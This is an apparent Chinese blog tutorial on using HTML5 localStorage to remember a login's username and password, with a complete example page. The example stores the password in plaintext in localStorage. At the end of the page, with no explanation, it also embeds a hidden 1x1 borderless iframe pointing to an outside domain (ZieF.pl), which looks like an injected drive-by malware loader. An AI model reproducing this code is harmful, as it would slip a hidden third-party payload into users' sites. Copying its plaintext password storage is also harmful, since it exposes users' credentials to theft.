web存储用户名和密码

最新推荐文章于 2023-03-17 14:04:49 发布

原创最新推荐文章于 2023-03-17 14:04:49 发布 · 2.4k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#html5如何存储用户名和密码 #web存储

html5+css 专栏收录该内容

6 篇文章

订阅专栏

本文介绍了一种利用HTML5的localStorage特性实现浏览器端永久存储用户名和密码的方法。通过简单的示例代码展示了如何在用户选择记住密码选项时将登录信息保存在本地，以及如何在下次访问时自动填充这些信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

web存储用户名和密码

如何永久长期存储用户名和密码，除非你手动清除。

在客户端存储数据

HTML5 提供了两种在客户端存储数据的新方法：

localStorage - 没有时间限制的数据存储
sessionStorage - 针对一个 session 的数据存储

之前，这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储，因为它们由每个对服务器的请求来传递，这使得 cookie 速度很慢而且效率也不高。

在 HTML5 中，数据不是由每个服务器请求传递的，而是只有在请求时使用数据。它使在不影响网站性能的情况下存储大量数据成为可能。

对于不同的网站，数据存储于不同的区域，并且一个网站只能访问其自身的数据。

HTML5 使用 JavaScript 来存储和访问数据。

代码实现如下：

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
    <label for="">
        用户名：<input type="text" class="userName"/>
    </label>
    <br/><br/>
    <label for="">
        密 码：<input type="text" class="pwd"/>
    </label>
    <br/><br/>
    <label for="">
        <input type="checkbox" class="check" id=""/>记住密码
    </label>
    <br/><br/>
    <button>登录</button>

    <script>
        var userName=document.querySelector('.userName');
        var pwd=document.querySelector('.pwd');
        var chk=document.querySelector('.check');
        var btn=document.querySelector('button');

//        当点击登录的时候 如果需要记住密码：  存储密码，否则 清除密码
        btn.onclick=function(){
            if(chk.checked){
//                记住数据
                window.localStorage.setItem('userName',userName.value);
                window.localStorage.setItem('pwd',pwd.value);
            }else{
//                清除数据
                window.localStorage.removeItem('userName');
                window.localStorage.removeItem('pwd');
            }
        }
//        下次登录的 ，如果记录的有数据 直接填充
        window.onload=function(){
            userName.value=window.localStorage.getItem('userName');
            pwd.value=window.localStorage.getItem('pwd');

        }
    </script>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>